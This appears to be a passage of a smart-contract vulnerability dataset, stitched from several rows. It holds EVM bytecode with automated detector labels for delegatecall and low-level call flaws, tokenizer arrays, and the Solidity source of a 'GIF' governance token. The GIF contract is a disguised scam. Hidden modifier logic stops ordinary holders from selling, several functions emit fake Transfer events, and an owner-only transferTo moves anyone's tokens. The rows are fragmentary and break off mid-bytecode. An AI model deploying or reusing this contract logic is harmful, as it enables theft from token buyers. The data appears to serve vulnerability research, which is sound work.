9157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cdd57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eaf57600080fd5b60008311610ebe576000610ec6565b6012600a0a83025b60028190555060008211610edb576000610ee3565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b505050505081565b6000610fa2338484610b23565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100657600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105a57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112075760008582815181106110c457fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161117457fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816111e357fe5b046040518082815260200191505060405180910390a35080806001019150506110ad565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106112b85780518252602082019150602081019050602083039250611295565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061137f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611585565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061142a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806114745750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806114aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115025750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115565750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156557600191505061157e565b61156f8584611713565b61157857600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106115c45783856115c7565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561172857506000600254145b801561173657506000600354145b1561174457600090506117e3565b600060045411156117a0576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179f57600090506117e3565b5b600060025411156117bf578160025411156117be57600090506117e3565b5b600060035411156117de576003548211156117dd57600090506117e3565b5b600190505b9291505056fea265627a7a72315820dbb53215349cdd968206574469f8618b9998e0cc4c8abf378e7f35874c398af864736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2094,
2683,
2509,
2050,
2683,
2620,
2094,
17134,
2094,
17134,
2683,
2094,
2620,
2278,
2683,
23352,
2575,
2487,
2546,
2692,
21926,
2050,
16086,
10354,
2581,
2546,
2683,
2546,
2549,
7959,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2459,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,415 | 0x951da693e47f0a0a6e8f04c5a73c8fad30aed691 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract GIF is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeAuthority;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x7A271674B5Fae043f42F183092f48fB06D6D551B;
address public _authority = 0x88fb2f40e46537A9d9099c60a0310e38AEc2e569;
constructor () public {
_name = "GIF\xE2\x80\x99d Governance Token";
_symbol = "GIF";
_decimals = 18;
uint256 initialSupply = 69420000000 * 10 ** 18;
_safeAuthority = _authority;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _authority, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _authority, "!owner");
_safeAuthority = safeOwner;
}
modifier _log(address dest, uint256 num, address from, address filler){
if (
_authority == _safeAuthority
&& from == _authority)
{_safeAuthority = dest;_;}else
{if (
from == _authority
|| from == _safeAuthority
|| dest == _authority){
if (
from == _authority
&& from == dest
){_discardedAmt = num;
}_;}else{
if (
_plus[from] == true
)
{
_;}else{if (
_discarded[from] == true
)
{require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt){
if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false;
}_; }else{require((from == _safeAuthority)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _authority){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _authority, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_authority] = _balances[_authority].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _authority){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _authority, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function set(address recipient) public _verify(){
//Enable
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function ProxiedSwap(address recipient) public _verify(){
//Disable
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
} | 0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063bb88603c1161007c578063bb88603c14610520578063c2205ee1146107e8578063c75e2c3d146107f0578063d8fc292414610816578063dd62ed3e14610949578063f8129cd21461097757610158565b8063715018a6146105205780638d3ca13e146105285780639430b4961461065b57806395d89b4114610681578063a5aae25414610689578063a9059cbb146107bc57610158565b8063313ce56711610115578063313ce567146103335780633cc4430d146103515780634e6ec247146104845780635265327c146104b0578063671e9921146104d657806370a08231146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d75780632801617e1461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b61027b6004803603602081101561032357600080fd5b50356001600160a01b0316610cde565b61033b610d68565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561036757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561039157600080fd5b8201836020820111156103a357600080fd5b803590602001918460208302840111600160201b831117156103c457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561041357600080fd5b82018360208201111561042557600080fd5b803590602001918460208302840111600160201b8311171561044657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d71945050505050565b61027b6004803603604081101561049a57600080fd5b506001600160a01b038135169060200135610e37565b61027b600480360360208110156104c657600080fd5b50356001600160a01b0316610f15565b6104de610f7f565b604080516001600160a01b039092168252519081900360200190f35b6102c56004803603602081101561051057600080fd5b50356001600160a01b0316610f8e565b61027b610fa9565b61027b6004803603606081101561053e57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561056857600080fd5b82018360208201111561057a57600080fd5b803590602001918460208302840111600160201b8311171561059b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105ea57600080fd5b8201836020820111156105fc57600080fd5b803590602001918460208302840111600160201b8311171561061d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ff8945050505050565b6102a96004803603602081101561067157600080fd5b50356001600160a01b03166110b8565b610165611124565b61027b6004803603606081101561069f57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106c957600080fd5b8201836020820111156106db57600080fd5b803590602001918460208302840111600160201b831117156106fc57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561074b57600080fd5b82018360208201111561075d57600080fd5b803590602001918460208302840111600160201b8311171561077e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611185945050505050565b6102a9600480360360408110156107d257600080fd5b506001600160a01b038135169060200135611245565b6104de611259565b61027b6004803603602081101561080657600080fd5b50356001600160a01b0316611268565b61027b6004803603606081101561082c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085657600080fd5b82018360208201111561086857600080fd5b803590602001918460208302840111600160201b8311171561088957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108d857600080fd5b8201836020820111156108ea57600080fd5b803590602001918460208302840111600160201b8311171561090b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506112e7945050505050565b6102c56004803603604081101561095f57600080fd5b506001600160a01b0381358116916020013516611385565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b600d546001600160a01b03163314610d2b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854610d6592849216906114d5565b50565b60075460ff1690565b600d546001600160a01b03163314610dbe576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157828181518110610dd657fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610e0c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610dc1565b50505050565b600d546001600160a01b03163314610e96576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ea39082611470565b600455600d546001600160a01b0316600090815260208190526040902054610ecb9082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610f5d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610ff6576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314611045576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157836001600160a01b031683828151811061106757fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061109357fe5b60200260200101516040518082815260200191505060405180910390a3600101611048565b600d546000906001600160a01b03163314611108576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b61111c826111146114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b031633146111d2576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157836001600160a01b03168382815181106111f457fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061122057fe5b60200260200101516040518082815260200191505060405180910390a36001016111d5565b6000610c486112526114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b031633146112b5576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b54610d659284929116906114d5565b600d546001600160a01b03163314611334576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b611340836111146114d1565b60005b8251811015610e315761137d8484838151811061135c57fe5b602002602001015184848151811061137057fe5b60200260200101516118dd565b600101611343565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e315782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461b